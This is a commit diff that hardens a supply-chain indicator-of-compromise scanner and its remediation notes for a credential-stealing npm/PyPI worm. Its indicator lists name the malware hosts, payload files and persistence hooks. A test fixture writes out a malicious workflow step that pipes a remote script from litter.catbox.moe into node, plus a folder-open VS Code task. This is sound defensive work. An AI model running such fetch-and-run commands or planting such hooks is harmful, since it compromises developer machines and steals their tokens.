fix: harden supply-chain IOC scan (#1918)

This commit is contained in:
Affaan Mustafa
2026-05-15 02:50:50 -04:00
committed by GitHub
parent 5349d991c2
commit e8e9df52a6
3 changed files with 85 additions and 4 deletions

View File

@@ -23,8 +23,12 @@ credentials:
OpenSearch, Guardrails AI, Squawk, and other npm/PyPI packages.
- The live IOC set includes persistence through Claude Code
`.claude/settings.json`, VS Code `.vscode/tasks.json`, and OS-level
`gh-token-monitor` LaunchAgent/systemd services. Remove those persistence
hooks before rotating a stolen GitHub token.
`gh-token-monitor` LaunchAgent/systemd services. Some variants add a
dead-man-switch token description
`IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner`, malicious workflow
files such as `.github/workflows/codeql_analysis.yml`, and Python runtime
payloads such as `transformers.pyz` / `pgmonitor.py`. Remove those
persistence hooks before rotating a stolen GitHub token.
- The attack chain combined `pull_request_target`, GitHub Actions cache
poisoning across a fork/base trust boundary, and OIDC token extraction from a
GitHub Actions runner.
@@ -77,7 +81,11 @@ If ECC or a maintainer machine installed a known-bad package version:
- `.vscode/tasks.json` folder-open tasks and adjacent payload files;
- `~/Library/LaunchAgents/com.user.gh-token-monitor.plist`;
- `~/.config/systemd/user/gh-token-monitor.service`;
- `~/.local/bin/gh-token-monitor.sh`.
- `~/.config/systemd/user/pgsql-monitor.service`;
- `~/.local/bin/gh-token-monitor.sh`;
- `~/.local/bin/pgmonitor.py`;
- `/tmp/transformers.pyz`, `/tmp/pgmonitor.py`, and their
`/private/tmp/` equivalents on macOS.
5. Rotate every credential reachable by the process:
- npm automation tokens and maintainer tokens;
- GitHub PATs, fine-grained tokens, deploy keys, and Actions secrets;

View File

@@ -218,18 +218,25 @@ const CRITICAL_TEXT_INDICATORS = [
'tanstack_runner.js',
'execution.js',
'transformers.pyz',
'pgmonitor.py',
'pgsql-monitor.service',
'gh-token-monitor',
'com.user.gh-token-monitor',
'IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner',
'filev2.getsession.org',
'seed1.getsession.org',
'seed2.getsession.org',
'seed3.getsession.org',
'git-tanstack.com',
'litter.catbox.moe/h8nc9u.js',
'litter.catbox.moe/7rrc6l.mjs',
'83.142.209.194',
'api.masscan.cloud',
'A Mini Shai-Hulud has Appeared',
'Shai-Hulud: Here We Go Again',
'PUSH UR T3MPRR',
'codeql_analysis.yml',
'shai-hulud-workflow.yml',
];
const DEPENDENCY_FILENAMES = new Set([
@@ -248,9 +255,13 @@ const PERSISTENCE_FILENAMES = new Set([
'tasks.json',
'router_runtime.js',
'setup.mjs',
'pgmonitor.py',
'gh-token-monitor.sh',
'com.user.gh-token-monitor.plist',
'gh-token-monitor.service',
'pgsql-monitor.service',
'codeql_analysis.yml',
'shai-hulud-workflow.yml',
]);
const PAYLOAD_FILENAMES = new Set([
@@ -258,7 +269,14 @@ const PAYLOAD_FILENAMES = new Set([
'router_runtime.js',
'tanstack_runner.js',
'execution.js',
'transformers.pyz',
'pgmonitor.py',
'gh-token-monitor.sh',
'com.user.gh-token-monitor.plist',
'gh-token-monitor.service',
'pgsql-monitor.service',
'codeql_analysis.yml',
'shai-hulud-workflow.yml',
]);
const IGNORED_DIRS = new Set([
@@ -284,7 +302,8 @@ function isInSpecialConfigPath(filePath) {
|| /\/\.kiro\/settings\//.test(normalized)
|| /\/Library\/LaunchAgents\//.test(normalized)
|| /\/\.config\/systemd\/user\//.test(normalized)
|| /\/\.local\/bin\//.test(normalized);
|| /\/\.local\/bin\//.test(normalized)
|| /\/\.github\/workflows\//.test(normalized);
}
function shouldInspectFile(filePath) {
@@ -432,10 +451,21 @@ function homeTargets(homeDir) {
'.vscode/setup.mjs',
'Library/LaunchAgents/com.user.gh-token-monitor.plist',
'.config/systemd/user/gh-token-monitor.service',
'.config/systemd/user/pgsql-monitor.service',
'.local/bin/gh-token-monitor.sh',
'.local/bin/pgmonitor.py',
].map(relativePath => path.join(homeDir, relativePath));
}
function runtimeTargets() {
return [
'/tmp/transformers.pyz',
'/tmp/pgmonitor.py',
'/private/tmp/transformers.pyz',
'/private/tmp/pgmonitor.py',
];
}
function scanSupplyChainIocs(options = {}) {
const rootDir = path.resolve(options.rootDir || DEFAULT_ROOT);
const files = walkFiles(rootDir);
@@ -445,6 +475,9 @@ function scanSupplyChainIocs(options = {}) {
for (const target of homeTargets(options.homeDir || os.homedir())) {
if (fs.existsSync(target)) files.push(target);
}
for (const target of runtimeTargets()) {
if (fs.existsSync(target)) files.push(target);
}
}
for (const filePath of [...new Set(files)].sort()) {

View File

@@ -168,6 +168,46 @@ function run() {
});
})) passed++; else failed++;
if (test('rejects dead-man switch and workflow persistence markers', () => {
withFixture({
'.vscode/tasks.json': JSON.stringify({
tasks: [{
label: 'monitor',
command: 'echo IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner',
runOptions: { runOn: 'folderOpen' },
}],
}, null, 2),
'.github/workflows/codeql_analysis.yml': [
'name: codeql_analysis',
'on: push',
'jobs:',
' shai-hulud:',
' runs-on: ubuntu-latest',
' steps:',
' - run: curl -fsSL https://litter.catbox.moe/h8nc9u.js | node',
].join('\n'),
}, rootDir => {
const result = scanSupplyChainIocs({ rootDir });
const indicators = result.findings.map(finding => finding.indicator);
assert.ok(indicators.includes('IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner'));
assert.ok(indicators.includes('codeql_analysis.yml'));
assert.ok(indicators.includes('litter.catbox.moe/h8nc9u.js'));
});
})) passed++; else failed++;
if (test('rejects user-level Python persistence payloads when home scan is enabled', () => {
withFixture({
'home/.local/bin/pgmonitor.py': 'print("persistence")',
'home/.config/systemd/user/pgsql-monitor.service': '[Service]\nExecStart=python3 ~/.local/bin/pgmonitor.py',
}, rootDir => {
const homeDir = path.join(rootDir, 'home');
const result = scanSupplyChainIocs({ rootDir, home: true, homeDir });
const indicators = result.findings.map(finding => finding.indicator);
assert.ok(indicators.includes('pgmonitor.py'));
assert.ok(indicators.includes('pgsql-monitor.service'));
});
})) passed++; else failed++;
if (test('rejects installed payload filenames in node_modules', () => {
withFixture({
'node_modules/@tanstack/react-router/router_init.js': '/* payload */',